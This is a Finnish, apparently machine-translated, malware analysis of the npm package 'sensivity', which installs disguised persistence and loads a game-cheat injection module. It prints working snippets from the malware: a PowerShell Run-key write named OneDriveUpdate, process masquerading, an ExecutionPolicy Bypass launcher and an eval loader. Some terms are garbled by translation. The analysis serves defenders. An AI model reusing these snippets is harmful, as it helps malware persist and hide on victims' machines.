TL; DR
Npm-paketti herkkyys kuvailee itseään "herkkyyden ohjauspaneeliksi". Windowsissa se toimii etäohjaus- ja valvontatyökaluna.
Sen sisäänkäyntipiste, launcher.js, nimeää oman prosessinsa uudelleen Runtime Brokeriksi, kirjoittaa automaattisesti käynnistyvän Run-avaimen arvon nimeltä OneDriveUpdate joka käynnistää paketin uudelleen piilotetun VBScript-komennon kautta, luo PowerShellin -ExecutionPolicy Bypassja sitten arvioi 171 kt:n kokoisen hämärretyn palvelinhyötykuorman yhdessä 6.87 Mt:n kokoisen natiivimoduulin kanssa, sens.node.
Se tarjoaa puhelinpariliitoksen ohjauspaneelin TCP-portissa 3000 ja lukee aktiivisen selaimen osoiterivin URL-osoitteen Windows UIAutomationin kautta etsien yhtä kovakoodattua YouTube-videota.
Kaksi aiemmin mustina laatikoina pidettyä osaa on nyt ratkaistu. Hämärretty palvelin, server.obf.js, käyttää obfuscator.io RC4 -merkkijonotaulukkojärjestelmää; sen dekooderin uudelleentoteuttaminen offline-tilassa (ei JavaScriptiä suoriteta) palauttaa yhden ulkoisen päätepisteen — https://izopi.com/check.php — yhdessä sulautetun RSA-julkisen avaimen kanssa, jota käytetään allekirjoitettujen lisenssivastausten tarkistamiseen.
Natiivimoduuli, sens.node, ei ole pakattu: sen tuontitaulukko ja upotetut merkkijonot tunnistavat sen DirectX 11 / Dear ImGui -pelin sisäiseksi päällekkäistiedostoksi, joka tarjoaa aimbot-, ESP- (wall-hack) ja triggerbot-ominaisuuksia, joita ohjaa etäprosessien injektio ja muistin luku/kirjoitus.
Sen sisällä olevat merkkijonot viittaavat ajoneuvoyksiköihin ja karttasijainteihin GTA V:n / FiveM:n mukaisesti. npm-paketti on kyseisen natiivin moduulin toimitus- ja pysyvyyskääre.
Määrittelevä signaali on toiminnallinen, ei tekninen: yksi anonyymi julkaisija julkaisi noin seitsemänkymmentä versiota yhdestä paketista — 2.5.0 2.5.69in kautta — muutaman päivän ajan, jokainen kantaen samaa kantorakettia.
Asennusta ei ole hooksHyötykuorma suoritetaan vain, kun paketti käynnistetään.
Hyökkäys: Näin se toimii
sensivity toimittaa kymmenen tiedostoa. Package.json on harva: ei repository-kenttää, ei lisenssiä, pääalias ja kaksi bin-aliasta (sensivity, sens), jotka kaikki osoittavat launcher.js:ään, sekä node launcher.js:n käynnistysskripti. Asennuksen jälkeistä tai esiasennusta ei ole. Mikään ei käynnisty npm-asennuksessa. Alla kuvattu toiminta käynnistyy, kun käyttäjä käynnistää paketin — bin-shim-kirjaimen, käynnistysskriptin tai require-komennon kautta.
Tarball sisältää käynnistysohjelman, obfuskoidun palvelimen, natiivin moduulin, Visual Basic -skriptin ja public/web-hakemiston ohjauspaneelille. launcher.js on luettava orkestroija; ajonaikana tärkeä logiikka sijaitsee kahdessa sen lataamassa blobissa – obfuskoidussa palvelimessa ja käännetyssä natiivissa moduulissa, jotka molemmat käsitellään alla.
Prosessinaamiointi ja väärennetty OneDrive-päivitysohjelma
Suorituksen alkuvaiheessa launcher.js asettaa oman prosessinimensä kahdesti:
javascript process.title = 'Runtime Broker'; Runtime Broker on laillinen Windows-prosessi (RuntimeBroker.exe), joka välittää sovellusten käyttöoikeuksia. Node-prosessin uudelleennimeäminen vastaamaan sitä tarkoittaa, että nopea vilkaisu Tehtävienhallintaan ei näytä mitään epätavallista.
Pysyvyys kirjoitetaan PowerShellin kautta suoran rekisteri-API:n sijaan:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Automaattisen käynnistyksen arvo on nimeltään OneDriveUpdate, eikä se viittaa suoraan pakettiin. Se osoittaa wscript.exe-tiedostoon, joka suorittaa paketissa olevaa OneDrive.Standalone.Updater.vbs-tiedostoa. Tämä komentosarja käynnistää node launcher.js:n uudelleen piilotetussa ikkunassa. Sekä Run-avaimen nimi että VBScript-tiedostonimi lainaavat Microsoft-brändäystä, joten automaattisen käynnistyksen merkintä lukee rutiininomaisena OneDrive-tehtävänä.
PowerShell ja suorituskäytännön ohitus
Käynnistysohjelma lähettää toistuvasti komentoja PowerShellille. Skannerit merkitsevät kriittiseksi nielunailun, joka on luotu .ps1-tiedosto, jossa suorituskäytäntö on poistettu käytöstä:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass poistaa paikallisen komentosarjan allekirjoitustarkistuksen kyseiseltä kutsulta. Luodut komentosarjat hoitavat seuraavassa osiossa kuvatut selaimen valvonnan ja ikkunan tunnistuksen.
Hämärretty palvelin ja natiivimoduuli
Asennuksen jälkeen launcher.js lataa ja suorittaa todellisen hyötykuormansa:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js on 171 kt _0x-taulukon obfuskaatiota – JavaScript-mallia, jossa jokainen merkkijono ja tunniste korvataan indeksillä sekoitetuksi taulukoksi ja sitten poistetaan viittaukset suorituksen aikana. Kaava on obfuscator.io:n tuottama RC4-variantti: yksi dekooderifunktio base64-dekoodaa taulukkomerkinnän ja sitten RC4-purkaa sen kutsukohtaisella avaimella. Dekooderin uudelleentoteutus erillisessä komentosarjassa – suorittamalla vain uudelleentoteutus puretulle 821-merkinnän merkkijonotaulukolle, ei koskaan paketin omaa JavaScriptiä – purkaa sen siististi. Se, mikä näkyy, on vaatimatonta, mutta...cisive: yksi ulkoinen URL-osoite, https://izopi.com/check.php`, jolle on määritetty LICENSE_URL-vakio; upotettu RSA PUBLIC_KEY_PEM`; paikallinen paneeli reitittää /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off ja /trigger/status; sekä merkkijonot child_process, crypto ja [Sensivity] sens.node loaded – viimeinen on tarkka lokirivi, jonka käynnistysohjelma kirjoittaa uudelleen ladatulle ohjelmamoduulille. Päätepiste on lisenssitarkistus: asiakas lähettää tunnisteen (obfuskoitu palvelin muotoilee Discord ID: %s -merkkijonon) ja RSA-avain vahvistaa palvelimen allekirjoitetun vastauksen.
sens.node on 6.87 Mt:n kokoinen käännetty natiivilisäosa, eikä sitä ole pakattu – section entropy on välillä 5.6–6.6 ja PE-tuonti- ja -vientitaulukot ovat ehjät, joten sen ominaisuudet ovat luettavissa suoraan. Se vie napi_register_module_v1:n, standard Solmun N-API-sisääntulopiste, joten evaloitu palvelin lataa sen pelkällä require-kyselyllä. Sen tuontitaulukko on tell-taulukko. KERNEL32-solmusta se hakee OpenProcessin, VirtualAllocExin, WriteProcessMemoryn, ReadProcessMemoryn, CreateRemoteThreadin, K32EnumProcessModulesin ja Process32First/NextW:n – kanonisen joukon toisen prosessin paikantamiseen, muistin varaamiseen sen sisällä ja kyseisen muistin lukemiseen tai kirjoittamiseen. USER32-solmusta se hakee GetAsyncKeyStaten, GetKeyStaten, mouse_eventin ja SetCursorPosin; se linkittää d3d11.dll:n, D3DCOMPILER_43:n ja dwmapi:n näytöllä näkyvää peittokuvaa varten sekä koko WINHTTP-joukon verkkokutsuja varten. Sen upotetut merkkijonot nimeävät ominaisuusjoukon yksiselitteisesti: Ota käyttöön Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected ja Dear ImGui -banneri Dear ImGui 1.91.3 WIP. Sijainti- ja entiteettimerkkijonot, kuten Grapeseed Medical Clinic ja vehicle-ESP-sanasto, ovat yhdenmukaisia GTA V / FiveM:n kanssa.
Jako on käytännössä tarkoituksellinen: luettava launcher.js sisältää vain ne osat, jotka skanneri lukee helposti – pysyvyys, naamiointi, itse eval-kutsu – kun taas obfuskointi piilottaa ainoan ulkoisen isännän, ajonaikaiset yhteystiedot, ja binääritiedosto sisältää pelin päällekkäiskerroksen ja prosessininjektiologiikan. Launcher on ohut, auditoitava komentotulkki; obfuskoitu palvelin piilottaa verkkoidentiteetin; natiivimoduuli on hyötykuorma. Kuvailemme binääritiedoston tuonnit ja merkkijonot luetuiksi; emme päättele operaattorin tarkoitusta niistä.
Puhelinpariliitoksen ohjauspaneeli portissa 3000
Käynnistysohjelma hallinnoi paikallista web-palvelinta TCP-portissa 3000 ja käsittelee sitä yksittäisenä palvelimena. Se kyselee olemassa olevaa kuuntelijaa ja tyhjentää sen ennen sitomista:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Paneeliin pääsee osoitteessa http://localhost:3000, ja siihen on tallennettu lähiverkon varaosoite http://192.168.1.16:3000. public/-hakemisto ja paneelin toiminta ovat yhdenmukaisia QR-pariliitoksen kanssa: puhelin skannaa koodin ja muodostaa yhteyden isäntään etänä. Käynnistysohjelmassa ei näy selkokielistä ulkoista komento- ja ohjausdomeenia – mutta kuten yllä oleva deobfuskointi osoittaa, sellainen on olemassa hämärretyllä palvelimella: izopi.com-lisenssin päätepiste. Paneeli itsessään on paikallinen ja lähiverkon laajuinen; ainoa lähtevä isäntä on kyseinen lisenssitarkistus.
Erillinen valvoja/työntekijämalli pitää prosessin hengissä. Käynnistysohjelma käynnistyy uudelleen SENSIVITY_SUPERVISOR- ja SENSIVITY_WORKER-ympäristömerkinnöillä, ja jokainen lapsiprosessi toimii piilotettuna, joten yhden prosessin lopettaminen jättää jäljelle valvontajärjestelmän, joka käynnistää sen uudelleen.
Selaimen valvonta ja YouTube-signaali
Tarkin toimintatapa on selaimen valvonta. launcher.js muodostaa PowerShellin, joka ohjaa Windows UIAutomationia lukemaan käynnissä olevan selaimen osoiterivin:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern palauttaa käyttöliittymäelementin tekstisisällön. Selaimen osoiterivin muokkaustoimintoon sovellettuna se palauttaa URL-osoitteen, jota uhri parhaillaan katselee – ilman selainlaajennusta, koskematta levyllä olevaan profiiliin ja ilman API-koukkua. Luotu komentosarja iteroi $browserNames-luettelon ja poimii siitä URL-osoitteen tai ikkunan otsikon siitä selaimesta, joka on etualalla.
Kyseistä URL-osoitetta testataan yhtä kovakoodattua kohdetta vasten:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Käynnistysohjelma tekee kolmen sekunnin silmukan mittaisen kyselyn selainikkunasta, jossa näkyy YouTube, ja luotu PowerShell sisältää Get-YouTubeBrowser / Test-TargetYouTubeUrl -parin, joka vastaa kyseistä videotunnusta. Havaittava vaikutus on kaksitahoinen: aktiivinen selaus-URL-osoite luetaan uhrin näytöltä ja isännän vuorovaikutus tietyn YouTube-videon kanssa havaitaan. Kuvaamme mekanismin ja kohteen, emmekä päättele motiivia niiden perusteella.
Osoiterivin lukema on se, minkä skanneri nimeää sensitive_data_enumerationiksi. Se on Process::env- ja UIAutomation-lähde, joka syöttää tietoja verkkoon kytkeytyvälle suoritusympäristölle. Se näyttää yksinään vaarattomalta ja siirtyy valvontaan vasta, kun datan elinkaari on jäljitetty UIAutomation-lähteestä hämärrettyyn palvelimeen.
Aikajana ja versiokehitys
Herkkyys ei ole kertaluonteinen lataus. Julkaisijan tilillä on noin seitsemänkymmentä julkaistua versiota tästä yhdestä paketista, ja uusia saapui jatkuvasti tarkistusjakson aikana. Käynnistysohjelma kasvaa ominaisuus ominaisuudelta 2.5.x-linjassa, mutta sen pysyvyys ja hyötykuorma pysyvät kiinteinä.
| Päivämäärä (UTC) | Havaitut versiot | Käynnistysohjelman tila |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Perus-QR-paneelin käynnistystoiminto; Suoritusnäppäimen pysyvyys; obfuskoidun palvelimen arviointi. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Sama sormenjälki; konsolin jälkien vaimennus. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Lisää kiinnitetyn YouTube-sitoutumistavoitteen wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Aukkoja täyttävä uudelleenjulkaisu koko alueella; esimies/työntekijän vahtikoira. |
Ladattujen edustajien – 2.5.0, 2.5.36 ja 2.5.69 – käynnistysohjelman lukeminen näyttää neljä tasoa. Varhaisimmissa koontiversioissa on perus-QR-parituksen käynnistysohjelma. Versiosta 2.5.33 alkaen tulee näkyviin UIAutomation-osoiterivin kerääjä. Versiosta 2.5.58 alkaen on lisätty valvojan hallintakerros. Versiosta 2.5.64 alkaen irrallinen valvoja/työntekijä-vahtikoira täydentää joukon. Koko ajan neljä asiaa pysyy samana: OneDriveUpdate Run -avain, OneDrive.Standalone.Updater.vbs-dropper, eval'd server.obf.js ja sens.node-natiivimoduuli.
Vuoden 2026 5.6. aalto on merkittävä, koska se julkaisi uudelleen alhaisemmat versionumerot – 2.5.0:sta 2.5.15:een – jotka ovat päiviä aiemmin vahvistettujen versioiden alapuolella. Vaikutuksena on yhtenäinen 2.5.x-rivi rekisterissä, ja jokaisessa versiossa on sama käynnistysohjelma.
Kompromissin indikaattorit
Kaikki alla olevat indikaattorit luettiin suoraan paketin tar-tiedostosta. Luettavassa käynnistysohjelmassa on vain loopback ja yksi yksityinen lähiverkon osoite; ainoa ulkoinen isäntänimi, izopi.com, palautettiin deobfuskoimalla server.obf.js offline-tilassa.
| Tyyppi | Osoitin | Huomautuksia |
|---|---|---|
| Paketti | npm:sensivity (≈70 versiota, 2.5.0-2.5.69) | Yhden paketin julkaisija; ei arkistoa; lisensoimaton. |
| filee | launcher.js | Luettava orkestroija; pää- ja kohdekansio. |
| filee | server.obf.js (≈171 kt) | obfuscator.io RC4 merkkijonotaulukon hyötykuorma, ladattu kautta eval(fs.readFileSync(...)). |
| filee | sens.node (≈6.87 Mt) | PE32+ x86-64 Node N-API -lisäosa; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| filee | OneDrive.Standalone.Updater.vbs | Piilotettu uudelleenkäynnistysohjelma (node launcher.js). |
| verkkotuotteet | https://izopi.com/check.php | Lisenssi-/todennuspäätepiste palautettu obfusoidulta palvelimelta; upotettu RSA-julkinen avain vahvistaa vastaukset. |
| Capability | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Etäprosessien injektio ja muistin luku-/kirjoitusominaisuus. |
| Capability | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui -peliliittymä, joka toteuttaa aimbot-, ESP- ja triggerbot-ominaisuudet. |
| rekisterin | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Automaattisen käynnistyksen arvo osoittaa kohtaan wscript.exe ja VBScript-käynnistysohjelma. |
| Käsitellä asiaa | process.title = 'Runtime Broker' | Naamioituu lailliseksi Windows Runtime Broker -prosessiksi. |
| Behavioral | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Suorituskäytännön ohitus, jota käytetään luoduille PowerShell-skripteille. |
| Behavioral | UIAutomation ValuePattern lue selaimen osoiterivistä | Lukee etualan selainikkunan URL-osoitteen. |
| Behavioral | Kohdevideon tunnus wJWta2lO0Lw3 sekunnin YouTube-kysely | Kiinnitetty sitoutumisen seurantasignaali. |
| verkkotuotteet | http://localhost:3000, varajärjestelmä http://192.168.1.16:3000 | QR-pariliitoksen ohjauspaneeli näkyy paikallisesti ja lähiverkossa. |
| ympäristö | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Irrotetut valvontaprosessin koordinointiliput. |
Attribuutio, vaikutus ja puolustajat
Paketin on julkaissut yksi npm-tili, jonka ilmoitettu sähköpostiosoite on vahvistamaton Gmail-osoite. Tilillä on erittäin negatiivinen rekisterin mainepisteytys, se ylläpitää ja julkaisee vain tätä yhtä pakettia, eikä sillä ole linkitettyä lähdetietovarastoa. Emme ole vahvistaneet sähköpostiosoitteen omistajuutta ja liitämme kampanjan julkaisijan tiliin, emme mihinkään nimettyyn henkilöön. Käynnistysohjelmassa ei ole selkoteksti-infrastruktuuria, mutta yksi ulkoinen isäntä on nyt tiedossa: obfuskoitu palvelin ottaa yhteyttä izopi.comiin lisenssitarkistusta varten, ja natiivimoduuli – joka luetaan sen tuontitaulukosta ja merkkijonoista eikä käänteisestä käsky käskyltä – on pelin päällekkäiskerros, joka injektoi ja lukee toisen prosessin muistia.
Havaittava vaikutus kohdistuu Windows-käyttäjiin, jotka asentavat ja suorittavat herkkyysasetuksia odottaen ohjauspaneelin apuohjelmaa. Näillä isännillä paketti muodostaa automaattisen käynnistyksen pysyvyyden naamioituna OneDrive-tehtäväksi, nimeää itsensä uudelleen jäljittelemään järjestelmäprosessia, lukee käyttäjän selaaman sivuston URL-osoitteen ja ottaa käyttöön yhdistämispaneelin, joka yhdistää koneen etäpalvelimeen paikallisverkon kautta. Supervisor/worker-valvonta tarkoittaa, että yksittäinen prosessin lopettaminen ei poista sitä; Run-key-merkintä säilyy uudelleenkäynnistyksen jälkeen. Käynnistysohjelma ei kohdista macOS:ään ja Linuxiin – pysyvyys-, PowerShell- ja UIAutomation-polut ovat vain Windowsille.
Seitsemänkymmenen version vaihtuvuus on trendi, josta kannattaa huomauttaa. Yhden paketin uudelleenjulkaiseminen kymmeniä kertoja muutamassa päivässä, mukaan lukien versionumeroiden täydentäminen jo poistettujen alapuolella, pitää aktiivisen kopion rekisterissä poistokertojen välillä ja turhauttaa versiokohtaisia estolistoja. Estolistan merkintä sensivity@2.5.61:lle ei tee mitään sensivity@2.5.3:n uudelleenjulkaisua seuraavana päivänä vastaan.
Puolustajat voivat toimia seuraavilla tavoilla:
- Estä paketin nimen arkaluontoisuus suoraan rekisterivälityspalvelimella ja CI-sallittujen luetteloissa. Yksittäisten versioiden kiinnittäminen menettää uudelleenjulkaisutahdin; nimi on pysyvä indikaattori.
- Etsi OneDriveUpdate-nimistä suoritusarvoa, jonka tiedot käynnistävät wscript.exe-komennon .vbs-tiedostoa vastaan käyttäjäkohtaisessa polussa. Aitoa OneDrive-päivitysohjelmaa ei ole rekisteröity tällä tavalla.
- Hälytys Node.js-prosessista, jonka process.title on Runtime Broker. Todellinen välittäjä on RuntimeBroker.exe, ei Node-suorituksenaikainen ympäristö.
- Merkitse npm asennuksenaikaisia hakuja paketeille, jotka toimittavat käännetyn .node-lisäosan sekä eval(fs.readFileSync(…))-metodin vastaavan .obf.js-tiedoston. Tämä paritus – läpinäkymätön natiivi binääritiedosto ladattuna hämärretyn tekstitiedoston viereen – on tässä rakenteellinen ilmaisu, riippumatta merkkijonojen IOC:sta.
- Käsittele kaikkia paikallisesti sidottuja kuuntelijoita portissa 3000, jotka odottamaton solmuprosessi on käynnistänyt, epäilyttävinä hallituissa Windows-päätepisteissä.
- Estä tai hälytä izopi.comiin lähettävät pyynnöt kehittäjiltä tai loppukäyttäjiltä; se on paketin ainoa ulkoinen päätepiste, johon obfuskoitu palvelin pääsee osoitteessa /check.php.
- Tarkista kaikkien paketissa olevien .node-lisäosien tuontitaulukko ennen kuin luotat niihin. Yhdistelmä OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread on etäprosessi-injektio riippumatta siitä, mitä paketti väittää tekevänsä; tässä se sijaitsee Direct3D-peittokuvan ja aimbot/ESP/triggerbot-merkkijonojen vieressä.
Staattiseen analyysiin pipelineTuomion muoto pysyy pysyvänä koko version vaihtuvuuden ajan: ei-verkkoasennusprofiili, prosessin otsikon määritys tunnetulle järjestelmäprosessin nimelle, suoritusavaimen kirjoitus PowerShellin kautta ja levyltä luetun tiedoston arviointi. Mikään näistä ei ole riippuvainen verkkotunnuksesta, IP-osoitteesta tai versionumerosta, jonka seuraava uudelleenjulkaisu voi poistaa.
Viitteet
[npm: herkkyys] – tässä käsitellyn paketin version rekisterisivu; voidaan poistaa.





